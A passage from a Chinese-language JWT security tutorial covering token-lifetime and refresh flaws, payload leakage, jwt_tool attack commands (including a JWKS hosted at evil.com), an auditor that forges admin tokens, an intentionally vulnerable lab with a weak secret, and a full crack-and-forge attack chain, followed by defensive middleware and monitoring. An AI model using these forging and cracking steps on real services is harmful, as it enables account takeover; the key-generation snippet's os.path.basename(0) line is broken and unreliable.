3. 服务端验证签名通过,执行请求
关键问题:Token一旦签发,在exp之前无法被撤销
8.2 时间验证缺失
exp、nbf、iat三个时间声明是Token生命周期控制的关键。很多漏洞源于服务端未正确验证:
# 常见验证缺失场景
# 场景1:未验证exp(Token永久有效)
import jwt
# 漏洞代码:未设置verify_exp或未require exp
# decoded = jwt.decode(token, secret) # PyJWT默认会验证exp,但旧版本可能不会
# 场景2:exp设置为极远的时间
malicious_payload = {
'sub': 'user_123',
'exp': 9999999999, # Unix时间戳 2286年11月20日
'iat': 1516239022
}
# 场景3:nbf设置为未来时间(但服务端忽略验证)
payload_future = {
'sub': 'user_123',
'nbf': 1893456000, # 2030年才生效
'exp': 1923456000
}
# 如果服务端不验证nbf,Token立即可用
# 场景4:iat时间伪造(用于绕过刷新策略)
payload_old = {
'sub': 'user_123',
'iat': 946684800, # 2000年签发(伪造)
'exp': 1893456000
}
8.3 Token刷新机制漏洞
刷新Token(Refresh Token)机制如果设计不当,可被利用获取长期访问权限:
常见刷新机制缺陷
// 缺陷1:刷新无次数限制
// 攻击者可无限刷新,Token永不过期
app.post('/refresh', (req, res) => {
const oldToken = req.body.refresh_token;
const decoded = jwt.verify(oldToken, REFRESH_SECRET);
// 漏洞:每次刷新都签发新的刷新Token,旧的仍然有效
const newAccessToken = jwt.sign(
{ sub: decoded.sub },
ACCESS_SECRET,
{ expiresIn: '1h' }
);
const newRefreshToken = jwt.sign(
{ sub: decoded.sub },
REFRESH_SECRET,
{ expiresIn: '30d' } // 30天有效期,且旧Token未失效
);
res.json({ access_token: newAccessToken, refresh_token: newRefreshToken });
});
# 缺陷2:刷新Token和访问Token使用相同密钥
# 攻击者可将刷新Token作为访问Token使用
ACCESS_SECRET = REFRESH_SECRET = "shared_secret" # 危险
# 缺陷3:刷新未验证Token类型
# Payload中缺少token_type字段,或服务端未验证
payload = {
'sub': 'user_123',
'token_type': 'refresh', # 应限定为refresh
'exp': 1893456000
}
# 如果访问API时未验证token_type,刷新Token可直接当访问Token用
8.4 长期有效Token风险
# 测试Token过期策略的脚本
import jwt
import time
import requests
def test_token_lifetime(token, api_url, secret):
"""测试Token过期策略是否生效"""
results = []
# 测试1:解码查看exp
try:
unverified = jwt.decode(token, options={'verify_signature': False})
exp = unverified.get('exp')
if exp:
days = (exp - time.time()) / 86400
results.append(f'Token过期时间: {time.ctime(exp)} (剩余{days:.1f}天)')
if days > 7:
results.append('警告: Token有效期过长(>7天)')
if days > 30:
results.append('严重: Token有效期极长(>30天)')
else:
results.append('严重: Token无exp字段,永久有效!')
except Exception as e:
results.append(f'解码失败: {e}')
# 测试2:修改exp后是否被拒绝
try:
payload = jwt.decode(token, secret, algorithms=['HS256'])
payload['exp'] = int(time.time()) + 365 * 86400 # 篡改为1年后
forged = jwt.encode(payload, secret, algorithm='HS256')
# 测试服务端是否验证exp
resp = requests.get(api_url, headers={'Authorization': f'Bearer {forged}'})
if resp.status_code == 200:
results.append('严重: 服务端未验证exp,篡改过期时间成功!')
else:
results.append(f'服务端拒绝了篡改Token (HTTP {resp.status_code})')
except Exception as e:
results.append(f'测试失败: {e}')
return results
# 使用示例
if __name__ == '__main__':
token = 'your_token_here'
results = test_token_lifetime(token, 'https://api.target.com/profile', 'secret')
for r in results:
print(r)
九、敏感信息泄露
9.1 Payload存储敏感数据问题
很多开发者错误地认为JWT的Payload是加密的,实际上它只是Base64URL编码,任何人都可以解码查看。如果Payload中存储敏感信息,等同于明文泄露:
# 危险示例:Payload中存储敏感数据
dangerous_payload = {
'sub': '12345',
'username': 'admin',
'password': 'Admin@123', # 密码明文!
'email': 'admin@company.com', # 邮箱
'phone': '13800138000', # 手机号
'id_card': '110101199001011234', # 身份证号
'bank_card': '6222021234567890', # 银行卡号
'credit_score': 750, # 信用评分
'internal_api_key': 'sk_live_1234567890', # API密钥
'salary': 50000 # 薪资
}
9.2 Base64解码提取信息
import base64
import json
def extract_jwt_info(token):
"""解码JWT并提取所有信息"""
parts = token.split('.')
if len(parts) < 2:
return None
# 解码Header
header_b64 = parts[0]
header = json.loads(base64.urlsafe_b64decode(header_b64 + '=='))
# 解码Payload
payload_b64 = parts[1]
payload = json.loads(base64.urlsafe_b64decode(payload_b64 + '=='))
print('=== JWT Header ===')
print(json.dumps(header, indent=2, ensure_ascii=False))
print('\n=== JWT Payload ===')
print(json.dumps(payload, indent=2, ensure_ascii=False))
# 敏感信息检测
sensitive_keywords = [
'password', 'passwd', 'pwd',
'secret', 'key', 'token', 'apikey', 'api_key',
'email', 'mail',
'phone', 'mobile', 'tel',
'idcard', 'id_card', 'idnum',
'bank', 'card', 'account',
'salary', 'credit',
'ssn', 'social'
]
print('\n=== 敏感信息检测 ===')
found_sensitive = False
for key, value in payload.items():
key_lower = key.lower()
for kw in sensitive_keywords:
if kw in key_lower:
print(f'发现敏感字段: {key} = {value}')
found_sensitive = True
break
if not found_sensitive:
print('未发现明显敏感字段')
return header, payload
# 使用示例
token = input('输入JWT Token: ').strip()
extract_jwt_info(token)
9.3 信息泄露检查清单
| 检查项 | 风险等级 | 检查方法 |
|---|---|---|
| Password字段 | 严重 | Payload中是否包含password/passwd/pwd字段 |
| API密钥 | 严重 | 是否包含apikey/api_key/secret_key字段 |
| 个人身份信息 | 高 | 是否包含身份证号、护照号等 |
| 财务信息 | 高 | 是否包含银行卡、账号、薪资等 |
| 联系方式 | 中 | 是否包含手机号、邮箱(取决于业务需求) |
| 内部系统标识 | 中 | 是否包含内部用户ID、组织架构信息 |
| 权限详细信息 | 中 | 是否暴露完整的权限列表或角色映射 |
| 会话信息 | 中 | 是否包含session_id或其他会话标识 |
| 基础设施信息 | 低 | 是否包含服务器IP、内部域名等 |
【提示】 JWT的Payload应遵循最小信息原则:只存储验证身份所需的最少信息(如user ID)。其他业务数据应通过服务端查询获取,而非在Token中携带。
十、JWT工具实战
10.1 jwt_tool完整使用指南
jwt_tool是最全面的JWT安全测试工具,支持解码、伪造、破解、扫描多种功能:
# 安装
pip3 install jwt_tool
# 或从源码安装
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
python3 setup.py install
# 基础解码
python3 jwt_tool.py -t <TOKEN>
# 查看Token各段详情
python3 jwt_tool.py -t <TOKEN> -V
# 篡改Payload字段(不改变签名,测试是否校验签名)
python3 jwt_tool.py -t <TOKEN> -I -pc role -pv admin
# 篡改Header字段
python3 jwt_tool.py -t <TOKEN> -I -hc alg -hv none
# none算法攻击
python3 jwt_tool.py -t <TOKEN> -X a
# 算法混淆攻击(需提供公钥)
python3 jwt_tool.py -t <TOKEN> -X k -pk public_key.pem
python3 jwt_tool.py -t <TOKEN> -X k -ju https://target.com/.well-known/jwks.json
# JWK注入攻击
python3 jwt_tool.py -t <TOKEN> -X s
# 使用自带服务器
python3 jwt_tool.py -t <TOKEN> -X s -S n
# 使用自定义JWKS
python3 jwt_tool.py -t <TOKEN> -X s -ju http://evil.com/jwks.json
# 密钥字典破解
python3 jwt_tool.py -t <TOKEN> -C -d /path/to/wordlist.txt
# 使用内置字典
python3 jwt_tool.py -t <TOKEN> -C
# 纯暴力破解(4位)
python3 jwt_tool.py -t <TOKEN> -b -l 4
# 全自动扫描(尝试所有攻击模式)
python3 jwt_tool.py -t <TOKEN> -M all
# 指定测试模式
python3 jwt_tool.py -t <TOKEN> -M a # 仅none
python3 jwt_tool.py -t <TOKEN> -M k # 仅算法混淆
python3 jwt_tool.py -t <TOKEN> -M b # 仅破解
10.2 jwt.io在线工具
jwt.io是JWT官方提供的在线工具,适合快速解码和调试:
功能:
- 在线解码:粘贴Token即可查看Header和Payload
- 算法选择:支持HS256/384/512、RS256/384/512、ES256等
- 密钥验证:输入密钥验证签名
- 密钥生成:可生成测试用密钥对
注意事项:
- 敏感Token不要在生产环境使用在线工具
- 在线工具可能记录输入内容
- 仅用于测试和开发环境
10.3 Burp Suite JWT插件
Burp Suite有多个JWT相关插件,适用于渗透测试:
JWT Editor插件功能:
- 自动解码请求中的JWT
- 在Burp界面内直接编辑Header和Payload
- 支持重新签名(需配置密钥)
- 可保存密钥对用于后续攻击
- 集成到Repeater和Intruder模块
使用流程:
1. 在BApp Store安装JWT Editor
2. 拦截包含JWT的请求
3. 在JWT Editor标签页查看解码内容
4. 修改Payload字段
5. 配置签名密钥(已知或破解的密钥)
6. 重新签名并发送
配合Intruder使用:
1. 将JWT的某个字段设为变量(如sub)
2. 加载字典进行枚举
3. 观察响应差异判断有效值
10.4 自动化检测脚本
以下脚本可自动化检测多种JWT漏洞:
#!/usr/bin/env python3
"""
JWT安全自动化检测脚本
检测项目:
1. none算法绕过
2. 算法混淆
3. 敏感信息泄露
4. 过期验证缺失
5. Payload字段篡改
"""
import jwt
import base64
import json
import time
import requests
import hmac
import hashlib
from urllib.parse import urlparse
class JWTAuditor:
def __init__(self, token, target_url=None, public_key=None):
self.token = token
self.target_url = target_url
self.public_key = public_key
self.header, self.payload = self._decode_unsafe()
self.results = []
def _decode_unsafe(self):
"""不验证签名地解码JWT"""
parts = self.token.split('.')
if len(parts) < 2:
raise ValueError('Token格式错误')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
return header, payload
def _send_request(self, token):
"""发送请求测试Token是否有效"""
if not self.target_url:
return None
try:
resp = requests.get(
self.target_url,
headers={'Authorization': f'Bearer {token}'},
timeout=10
)
return resp
except Exception as e:
return None
def check_sensitive_data(self):
"""检查敏感信息泄露"""
sensitive = ['password', 'passwd', 'secret', 'apikey', 'api_key',
'id_card', 'idcard', 'bank', 'credit_card', 'ssn']
for key, value in self.payload.items():
for s in sensitive:
if s in key.lower():
self.results.append({
'vuln': '敏感信息泄露',
'severity': '高',
'detail': f'Payload中包含敏感字段: {key}={value}'
})
def check_none_algorithm(self):
"""检测none算法绕过"""
# 构造none算法Token
header = {**self.header, 'alg': 'none'}
payload = {**self.payload, 'role': 'admin', 'sub': '1'}
header_b64 = base64.urlsafe_b64encode(
json.dumps(header).encode()
).rstrip(b'=').decode()
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()
).rstrip(b'=').decode()
none_token = f'{header_b64}.{payload_b64}.'
if self.target_url:
resp = self._send_request(none_token)
if resp and resp.status_code == 200:
self.results.append({
'vuln': 'none算法绕过',
'severity': '严重',
'detail': '服务端接受alg=none的Token,可伪造任意身份'
})
def check_exp_validation(self):
"""检查过期验证"""
if 'exp' not in self.payload:
self.results.append({
'vuln': '过期验证缺失',
'severity': '高',
'detail': 'Payload中无exp字段,Token可能永久有效'
})
else:
exp = self.payload['exp']
if exp > time.time() + 86400 * 30:
self.results.append({
'vuln': 'Token有效期过长',
'severity': '中',
'detail': f'Token有效期超过30天 (exp={exp})'
})
def check_algorithm_confusion(self):
"""检查算法混淆(如有公钥)"""
if not self.public_key:
return
# 尝试用公钥作为HS256密钥
try:
header = {**self.header, 'alg': 'HS256'}
payload = {**self.payload, 'role': 'admin'}
token = jwt.encode(
payload,
self.public_key,
algorithm='HS256',
headers=header
)
if self.target_url:
resp = self._send_request(token)
if resp and resp.status_code == 200:
self.results.append({
'vuln': '算法混淆攻击',
'severity': '严重',
'detail': '服务端接受RS256转HS256的混淆Token'
})
except Exception as e:
pass
def check_header_params(self):
"""检查Header危险参数"""
dangerous_params = ['jku', 'jwk', 'x5u', 'x5c', 'kid']
for param in dangerous_params:
if param in self.header:
self.results.append({
'vuln': f'Header包含{param}参数',
'severity': '中',
'detail': f'Header中存在{param}参数,可能存在注入风险'
})
def run_all_checks(self):
"""运行所有检测"""
self.check_sensitive_data()
self.check_none_algorithm()
self.check_exp_validation()
self.check_algorithm_confusion()
self.check_header_params()
print('\n' + '='*60)
print('JWT安全检测结果')
print('='*60)
if not self.results:
print('未发现明显漏洞')
else:
for r in self.results:
print(f"\n[{r['severity']}] {r['vuln']}")
print(f" 详情: {r['detail']}")
print('\n' + '='*60)
return self.results
# 使用示例
if __name__ == '__main__':
import sys
token = sys.argv[1] if len(sys.argv) > 1 else input('输入JWT: ')
url = sys.argv[2] if len(sys.argv) > 2 else None
pubkey = sys.argv[3] if len(sys.argv) > 3 else None
auditor = JWTAuditor(token, url, pubkey)
auditor.run_all_checks()
十一、JWT安全最佳实践
11.1 安全配置清单
| 序号 | 配置项 | 推荐值 | 说明 |
|---|---|---|---|
| 1 | 签名算法 | RS256或ES256 | 避免使用HS256(除非单一内部服务) |
| 2 | 算法白名单 | 明确指定allowed algorithms | 永远不使用库默认值 |
| 3 | 密钥长度 | RS256: 2048位以上, ES256: 256位 | 满足NIST推荐 |
| 4 | HS256密钥 | 32字节以上随机值 | 使用密码学安全随机数生成 |
| 5 | Token有效期 | Access Token: 15-30分钟 | 最小权限原则 |
| 6 | 刷新Token有效期 | 7天以内 | 配合滑动过期 |
| 7 | exp声明 | 必须包含 | 强制过期验证 |
| 8 | iat声明 | 必须包含 | 防止Token年龄伪造 |
| 9 | iss声明 | 必须包含并验证 | 防止跨服务伪造 |
| 10 | aud声明 | 必须包含并验证 | 防止跨应用重用 |
| 11 | jti声明 | 推荐包含 | 用于重放防护 |
| 12 | 敏感数据 | 不存储于Payload | Payload为明文Base64 |
| 13 | 密钥存储 | 使用KMS或Vault | 避免硬编码 |
| 14 | 密钥轮换 | 定期轮换(90天) | 降低密钥泄露影响 |
| 15 | 黑名单机制 | 实现jti黑名单 | 支持主动注销 |
| 16 | Header参数 | 过滤jku/jwk/x5u/kid | 防止参数注入 |
| 17 | 传输安全 | 强制HTTPS | 防止Token截获 |
| 18 | Cookie配置 | HttpOnly+Secure+SameSite | 防止XSS窃取 |
11.2 算法选择建议
场景一:单一服务内部认证
推荐:HS256
要求:密钥≥32字节随机值,算法白名单固定为['HS256']
适用:微服务网关内部验证、同一应用的前后端
场景二:多服务/第三方验证
推荐:RS256或PS256
要求:私钥严格保护,公钥通过JWKS端点分发
适用:OAuth2/OIDC、SSO、API网关
场景三:移动端/IoT设备
推荐:ES256
要求:椭圆曲线密钥,性能优于RSA,密钥更短
适用:移动App认证、设备身份认证
场景四:高安全要求
推荐:PS256(RSASSA-PSS)
要求:RSA-PSS提供更强的安全证明
适用:金融、医疗等高合规场景
11.3 密钥管理规范
# 密钥生成示例
import os
import secrets
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
# HS256密钥生成(至少32字节)
hs256_key = secrets.token_bytes(32) # 256位
print(f'HS256密钥(hex): {hs256_key.hex()}')
print(f'HS256密钥(base64): {os.path.basename(0)}')
# RS256密钥对生成
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
# 私钥导出(加密存储)
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.BestAvailableEncryption(b'key_password')
)
# 保存到密钥管理系统
# private_pem -> AWS KMS / HashiCorp Vault / Azure Key Vault
# 公钥导出(可公开)
public_pem = private_key.public_key().public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print(f'公钥:\n{public_pem.decode()}')
11.4 Token生命周期设计
推荐的生命周期设计:
Access Token:
有效期: 15-30分钟
存储: 内存/SessionStorage(不推荐localStorage)
用途: API访问认证
特点: 短命,降低泄露风险
Refresh Token:
有效期: 7天(滑动过期)
存储: HttpOnly Cookie(不可被JS读取)
用途: 刷新Access Token
特点: 一次性使用(旋转刷新)
刷新Token旋转机制:
每次使用Refresh Token获取新Access Token时
同时签发新的Refresh Token,旧的立即失效
如果检测到旧Token被使用,撤销整个会话
十二、实战案例:完整JWT攻击链
12.1 靶场环境搭建
以下是使用Node.js搭建的含漏洞JWT靶场环境:
// vuln_jwt_lab.js - 含多种JWT漏洞的靶场
const express = require('express');
const jwt = require('jsonwebtoken');
const bodyParser = require('body-parser');
const app = express();
app.use(bodyParser.json());
// 漏洞配置
const SECRET = 'secret123'; // 弱密钥
const PUBLIC_KEY = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...省略...
-----END PUBLIC KEY-----`;
// 漏洞1:登录接口返回含敏感信息的Token
app.post('/login', (req, res) => {
const { username, password } = req.body;
if (username === 'guest' && password === 'guest') {
const payload = {
sub: '1001',
username: 'guest',
role: 'user',
email: 'guest@vuln.lab', // 敏感信息
internal_id: 'usr_1001_dept_3', // 内部信息
iat: Math.floor(Date.now() / 1000),
exp: Math.floor(Date.now() / 1000) + 86400 // 24小时
};
// 漏洞:弱密钥签发
const token = jwt.sign(payload, SECRET);
res.json({ token, message: '登录成功' });
} else {
res.status(401).json({ error: '认证失败' });
}
});
// 漏洞2:验证时未指定算法白名单(存在none和算法混淆)
app.get('/api/profile', (req, res) => {
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({ error: '未提供Token' });
}
const token = authHeader.split(' ')[1];
try {
// 漏洞:未指定algorithms参数
const decoded = jwt.verify(token, SECRET, {
// algorithms: ['HS256'] // 应该指定但未指定
});
if (decoded.role === 'admin') {
res.json({
user: decoded.username,
role: decoded.role,
flag: 'FLAG{jwt_vulnerability_exploited}',
data: '管理员数据访问成功'
});
} else {
res.json({
user: decoded.username,
role: decoded.role,
data: '普通用户数据'
});
}
} catch (err) {
res.status(401).json({ error: err.message });
}
});
// 漏洞3:JWKS端点暴露公钥
app.get('/.well-known/jwks.json', (req, res) => {
// 暴露RSA公钥(用于算法混淆攻击)
res.json({
keys: [{
kty: 'RSA',
n: '...',
e: 'AQAB',
kid: 'rsa-key-001'
}]
});
});
app.listen(3000, () => {
console.log('漏洞靶场启动: http://localhost:3000');
console.log('弱密钥: secret123');
});
12.2 攻击链逐步演示
第一步:信息收集
# 获取合法Token
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"guest","password":"guest"}'
# 响应: {"token":"eyJhbGciOiJIUzI1NiIs...","message":"登录成功"}
# 解码查看Token内容
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." | cut -d'.' -f2 | base64 -d 2>/dev/null
# 发现敏感信息:email、internal_id
# 发现角色:role: "user"
# 目标:将role改为admin
# 检查JWKS端点
curl http://localhost:3000/.well-known/jwks.json
# 发现暴露了RSA公钥
第二步:none算法绕过尝试
# 使用jwt_tool尝试none算法
python3 jwt_tool.py -t <GUEST_TOKEN> -X a
# 获取none算法Token后测试
curl http://localhost:3000/api/profile \
-H "Authorization: Bearer <NONE_TOKEN>"
# 如果返回401,说明none算法被拒绝
# 继续下一步
第三步:密钥字典破解
# 使用jwt_tool破解
python3 jwt_tool.py -t <GUEST_TOKEN> -C -d common_passwords.txt
# 或使用hashcat
hashcat -m 16500 jwt_hash.txt common_passwords.txt
# 破解结果:密钥为 "secret123"
第四步:伪造管理员Token
# 使用破解的密钥伪造Token
python3 jwt_tool.py -t <GUEST_TOKEN> -I -pc role -pv admin -S hs256 -p "secret123"
# 或使用Python
python3 -c "
import jwt, time
payload = {
'sub': '1',
'username': 'admin',
'role': 'admin',
'iat': int(time.time()),
'exp': int(time.time()) + 3600
}
print(jwt.encode(payload, 'secret123', algorithm='HS256'))
"
第五步:身份接管
# 使用管理员Token访问受保护资源
curl http://localhost:3000/api/profile \
-H "Authorization: Bearer <ADMIN_TOKEN>"
# 响应: {"user":"admin","role":"admin","flag":"FLAG{...}"}
# 攻击成功!
12.3 攻击链总结
完整攻击链路径:
1. 信息收集
├── 获取合法Token(guest登录)
├── 解码Token发现敏感信息和角色字段
└── 发现JWKS端点暴露公钥
2. 漏洞探测
├── none算法测试 -> 失败(服务端拒绝)
└── 密钥破解 -> 成功(密钥为secret123)
3. 漏洞利用
├── 用破解的密钥伪造管理员Token
└── 篡改role字段为admin
4. 身份接管
├── 使用管理员Token访问API
└── 获取管理员权限和数据
十三、防御方案
13.1 服务端验证检查清单
| 序号 | 验证项 | 实现方式 | 优先级 |
|---|---|---|---|
| 1 | 算法白名单 | 显式指定allowed algorithms | 最高 |
| 2 | 签名验证 | 必须调用verify而非decode | 最高 |
| 3 | exp验证 | 强制要求并验证exp字段 | 最高 |
| 4 | nbf验证 | 验证Token未提前生效 | 高 |
| 5 | iat验证 | 验证签发时间合理性 | 高 |
| 6 | iss验证 | 验证签发者匹配 | 高 |
| 7 | aud验证 | 验证接收方匹配 | 高 |
| 8 | jti验证 | 检查黑名单 | 中 |
| 9 | 密钥强度 | 密钥≥256位随机值 | 最高 |
| 10 | Header过滤 | 禁止jku/jwk/x5u参数 | 高 |
| 11 | kid校验 | 白名单校验kid值 | 高 |
| 12 | 类型验证 | 区分access/refresh token | 中 |
| 13 | 来源验证 | 验证Token签发来源 | 中 |
13.2 中间件配置示例
Node.js安全配置
const jwt = require('jsonwebtoken');
// 安全验证中间件
function secureJWTVerification(req, res, next) {
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({ error: '未提供Token' });
}
const token = authHeader.split(' ')[1];
// 预检查:过滤危险Header参数
const decoded_header = jwt.decode(token, { complete: true });
if (!decoded_header) {
return res.status(401).json({ error: 'Token格式错误' });
}
const header = decoded_header.header;
// 检查危险参数
const dangerousParams = ['jku', 'jwk', 'x5u', 'x5c'];
for (const param of dangerousParams) {
if (header[param]) {
return res.status(401).json({ error: `禁止的Header参数: ${param}` });
}
}
// 检查kid是否在白名单中
const allowedKids = ['key-2024-001', 'key-2024-002'];
if (header.kid && !allowedKids.includes(header.kid)) {
return res.status(401).json({ error: '无效的密钥ID' });
}
// 安全验证(必须指定算法白名单)
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['HS256'], // 算法白名单
issuer: 'myapp-auth-service', // 签发者
audience: 'myapp-api', // 接收方
clockTimestamp: Date.now() / 1000,
clockTolerance: 30 // 时钟偏差容忍30秒
});
// 验证必填声明
const requiredClaims = ['sub', 'iat', 'exp', 'iss', 'aud'];
for (const claim of requiredClaims) {
if (!(claim in decoded)) {
return res.status(401).json({ error: `缺少必要声明: ${claim}` });
}
}
// 检查jti黑名单
if (decoded.jti && tokenBlacklist.has(decoded.jti)) {
return res.status(401).json({ error: 'Token已被撤销' });
}
req.user = decoded;
next();
} catch (err) {
if (err.name === 'TokenExpiredError') {
return res.status(401).json({ error: 'Token已过期' });
}
return res.status(401).json({ error: 'Token验证失败' });
}
}
const tokenBlacklist = new Set(); // 实际应用中应使用Redis
app.use('/api', secureJWTVerification);
Java安全配置(使用JJWT库)
import io.jsonwebtoken.*;
import io.jsonwebtoken.security.Keys;
import javax.crypto.SecretKey;
import java.security.Key;
import java.util.HashSet;
import java.util.Set;
public class JwtSecurityFilter {
private static final SecretKey SECRET_KEY = Keys.hmacShaKeyFor(
System.getenv("JWT_SECRET").getBytes()
);
private static final Set<String> TOKEN_BLACKLIST = new HashSet<>();
private static final Set<String> ALLOWED_KIDS = Set.of("key-2024-001");
public Claims verifyToken(String token) {
try {
// 安全解析(指定算法)
Jws<Claims> jws = Jwts.parserBuilder()
.setSigningKey(SECRET_KEY)
.setAllowedAlgorithms(Set.of(SignatureAlgorithm.HS256)) // 算法白名单
.requireIssuer("myapp-auth-service") // 必须有iss
.requireAudience("myapp-api") // 必须有aud
.setClockSkewSeconds(30) // 时钟偏差
.build()
.parseClaimsJws(token);
Claims claims = jws.getBody();
// 验证必填声明
if (claims.getExpiration() == null || claims.getIssuedAt() == null) {
throw new JwtException("缺少exp或iat声明");
}
// 验证jti黑名单
String jti = claims.getId();
if (jti != null && TOKEN_BLACKLIST.contains(jti)) {
throw new JwtException("Token已被撤销");
}
return claims;
} catch (ExpiredJwtException e) {
throw new JwtException("Token已过期");
} catch (UnsupportedJwtException e) {
throw new JwtException("不支持的Token格式");
} catch (Exception e) {
throw new JwtException("Token验证失败: " + e.getMessage());
}
}
// Token注销(加入黑名单)
public void revokeToken(String jti) {
TOKEN_BLACKLIST.add(jti);
// 实际应用中应设置过期自动清理
}
}
Python安全配置(使用PyJWT)
import jwt
import os
from functools import wraps
from flask import request, jsonify, g
SECRET_KEY = os.environ['JWT_SECRET'] # 从环境变量读取
ISSUER = 'myapp-auth-service'
AUDIENCE = 'myapp-api'
ALLOWED_ALGORITHMS = ['HS256']
REQUIRED_CLAIMS = ['sub', 'iat', 'exp', 'iss', 'aud']
# Redis黑名单(实际应用)
# from redis import Redis
# redis = Redis()
# blacklist_key = 'jwt:blacklist'
def secure_jwt_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
auth_header = request.headers.get('Authorization', '')
if not auth_header.startswith('Bearer '):
return jsonify({'error': '未提供Token'}), 401
token = auth_header.split(' ', 1)[1]
# 预检:解码Header检查危险参数
try:
unverified_header = jwt.get_unverified_header(token)
except Exception:
return jsonify({'error': 'Token格式错误'}), 401
dangerous_params = ['jku', 'jwk', 'x5u', 'x5c']
for param in dangerous_params:
if param in unverified_header:
return jsonify({'error': f'禁止的Header参数: {param}'}), 401
# kid白名单检查
allowed_kids = ['key-2024-001', 'key-2024-002']
kid = unverified_header.get('kid')
if kid and kid not in allowed_kids:
return jsonify({'error': '无效的密钥ID'}), 401
# 安全验证
try:
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=ALLOWED_ALGORITHMS, # 算法白名单
issuer=ISSUER,
audience=AUDIENCE,
options={
'require': REQUIRED_CLAIMS, # 强制声明
'verify_exp': True,
'verify_nbf': True,
'verify_iat': True,
'verify_iss': True,
'verify_aud': True,
'verify_signature': True,
'leeway': 30 # 时钟偏差容忍
}
)
# jti黑名单检查
jti = payload.get('jti')
if jti and is_blacklisted(jti):
return jsonify({'error': 'Token已被撤销'}), 401
g.current_user = payload
return f(*args, **kwargs)
except jwt.ExpiredSignatureError:
return jsonify({'error': 'Token已过期'}), 401
except jwt.InvalidIssuerError:
return jsonify({'error': '无效的签发者'}), 401
except jwt.InvalidAudienceError:
return jsonify({'error': '无效的接收方'}), 401
except jwt.MissingRequiredClaimError as e:
return jsonify({'error': f'缺少必要声明: {e.claim}'}), 401
except jwt.InvalidTokenError:
return jsonify({'error': 'Token验证失败'}), 401
return decorated_function
def is_blacklisted(jti):
"""检查jti是否在黑名单中"""
# 实际应用中使用Redis
# return redis.sismember(blacklist_key, jti)
return False
# 使用示例
@app.route('/api/profile')
@secure_jwt_required
def get_profile():
user = g.current_user
return jsonify({
'user': user.get('sub'),
'role': user.get('role', 'user')
})
13.3 监控与告警方案
# JWT安全监控方案
# 监控指标和告警规则
"""
监控指标设计:
1. Token验证失败率
指标: jwt_verification_failures_total
告警: 失败率 > 5% 持续5分钟
原因: 可能遭受none/算法混淆攻击
2. 算法不匹配拒绝
指标: jwt_algorithm_mismatch_total
告警: 单个IP > 10次/分钟
原因: 算法混淆攻击尝试
3. 过期Token使用
指标: jwt_expired_token_usage_total
告警: 单个用户 > 20次/小时
原因: 重放攻击或客户端时钟异常
4. jti黑名单命中
指标: jwt_blacklist_hit_total
告警: 任何命中即告警
原因: 已注销Token被使用(重放攻击)
5. 异常Header参数
指标: jwt_dangerous_header_param_total
告警: 任何出现即告警
原因: jku/jwk/x5u注入攻击
6. 密钥ID异常
指标: jwt_invalid_kid_total
告警: 单个IP > 5次/分钟
原因: kid注入攻击
"""
# Prometheus监控中间件示例
from prometheus_client import Counter, Histogram
import time
# 监控指标定义
jwt_verification_failures = Counter(
'jwt_verification_failures_total',
'JWT验证失败总数',
['reason', 'client_ip']
)
jwt_algorithm_mismatch = Counter(
'jwt_algorithm_mismatch_total',
'JWT算法不匹配总数',
['expected', 'actual', 'client_ip']
)
jwt_dangerous_header = Counter(
'jwt_dangerous_header_param_total',
'JWT危险Header参数检测总数',
['param', 'client_ip']
)
jwt_processing_time = Histogram(
'jwt_processing_duration_seconds',
'JWT处理耗时'
)
def monitor_jwt_verification(func):
@wraps(func)
def wrapper(token, *args, **kwargs):
start = time.time()
client_ip = request.remote_addr
try:
# 检查危险Header参数
header = jwt.get_unverified_header(token)
for param in ['jku', 'jwk', 'x5u', 'x5c']:
if param in header:
jwt_dangerous_header.labels(param=param, client_ip=client_ip).inc()
result = func(token, *args, **kwargs)
with jwt_processing_time.time():
return result
except jwt.InvalidAlgorithmError as e:
jwt_algorithm_mismatch.labels(
expected='HS256',
actual=header.get('alg', 'unknown'),
client_ip=client_ip
).inc()
raise
except jwt.ExpiredSignatureError:
jwt_verification_failures.labels(
reason='expired',
client_ip=client_ip
).inc()
raise
except jwt.InvalidTokenError as e:
jwt_verification_failures.labels(
reason='invalid',
client_ip=client_ip
).inc()
raise
finally:
jwt_processing_time.observe(time.time() - start)
return wrapper
十四、总结与参考资源
14.1 JWT安全知识图谱
JWT安全知识总结:
原理层
├── 三段结构: Header.Payload.Signature
├── Base64URL编码(非加密)
├── 声明分类: Registered/Private/Public
└── 算法类型: HMAC(对称) / RSA-ECDSA(非对称)
攻击层
├── 签名绕过: none算法 / 算法混淆
├── 密钥攻击: 字典破解 / 暴力破解
├── 参数注入: jku / jwk / x5u / kid
├── 时间攻击: exp缺失 / 重放 / 刷新滥用
└── 信息泄露: Payload明文存储敏感数据
防御层
├── 算法白名单: 固定allowed algorithms
├── 密钥管理: 高熵随机值 / KMS存储 / 定期轮换
├── 声明验证: exp/nbf/iat/iss/aud/jti
├── 参数过滤: 禁止jku/jwk/x5u/危险kid
├── 生命周期: 短期Access Token + 旋转Refresh Token
└── 监控告警: 异常验证失败率 / 黑名单命中
工具层
├── jwt_tool: 全功能JWT攻击工具
├── jwt.io: 在线解码调试
├── hashcat/john: 密钥破解
├── Burp Suite JWT Editor: 渗透测试集成
└── 自定义脚本: 自动化漏洞检测
14.2 参考资源列表
标准规范
